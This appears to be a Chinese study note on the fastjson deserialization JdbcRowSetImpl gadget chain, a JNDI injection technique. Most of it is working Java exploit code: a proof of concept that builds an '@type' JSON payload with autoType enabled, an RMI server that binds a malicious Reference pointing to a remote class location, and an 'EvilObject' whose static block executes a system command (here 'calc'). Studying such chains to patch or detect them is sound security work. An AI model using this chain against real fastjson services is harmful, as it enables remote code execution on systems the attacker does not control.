fastjson反序列化-JdbcRowSetImpl利用链

JdbcRowSetImpl利用链

fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs.com)

这里涉及了JNDI与RMI的概念。

其本质为JNDI注入。

附上示例代码

JdbcRowSetImplPoC.java

package org.lain.poc.poclist;

import com.alibaba.fastjson.JSONObject;

import com.alibaba.fastjson.parser.ParserConfig;

/**

 * @author: ZH3FENG

 * @Date: 下午7:53 2017/12/11

 * @Modified By:

 * @Description: Gadget com.sun.rowset.JdbcRowSetImpl

 *

 *               setAutoCommit() -> connect() -> InitialContext.lookup()

 */

public class JdbcRowSetImplPoC {

    public static void testJdbcRowSetImpl(String dataSourceName){

        ParserConfig config = new ParserConfig();

        config.setAutoTypeSupport(true);//

        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","

                + "\"dataSourceName\":\"" + dataSourceName + "\","

                + "\"autoCommit\":\"true\"}";

        System.out.println(payload);

        try{

            JSONObject.parse(payload,config);

        }catch (Exception e){

            e.printStackTrace();

        }

    }

}

RMIServer.java

package org.lain.poc.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

/**

 * @author: lanqihe

 * @Date: 下午8:01 2017/12/11

 * @Modified By:

 * @Description: 本地注册一个register，并将恶意的类绑定

 */

public class RMIServer {

    public static void main(String argv[]) {

        try {

            Registry  registry =  LocateRegistry.createRegistry(1090);

            //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory，则尝试从factoryLocation 获取

            //因此，本地测试的话，如果factory正确，factoryLocation随便填

            //把一个对象绑定到rmi注册表中，这个对象需要继承UnicastRemoteObject，但是Reference没有继承它，所以我们还需要封装一下它，用 ReferenceWrapper 包裹一下Reference实例对象，这样就可以将其绑定到rmi注册表，并被远程访问到了

            Reference reference = new Reference("EvilObject",

                    "org.lain.poc.jndi.EvilObjectFactory",

                    "http://localhost:9999/" );

            //客户端通过evil查找，获取到EvilObject

            registry.bind("evil", new ReferenceWrapper(reference));

            System.out.println("Ready!");

            System.out.println("Waiting for connection......");

        } catch (Exception e) {

            System.out.println("RMIServer: " + e.getMessage());

            e.printStackTrace();

        }

    }

}

EvilObject.java

package org.lain.poc.jndi;

import java.io.IOException;

/**

 * @author: ZH3FENG

 * @Date: 上午10:18 2017/12/12

 * @Modified By:

 * @Description: 模拟一个恶意类，静态代码块执行命令

 */

public class EvilObject {

    public EvilObject(){

        System.out.println("Hi!");

    }

    /**

     * 简单的命令执行

     */

    static {

        try {

            Runtime.getRuntime().exec("calc");

        }catch (IOException e){

            //ignore

        }

    }

}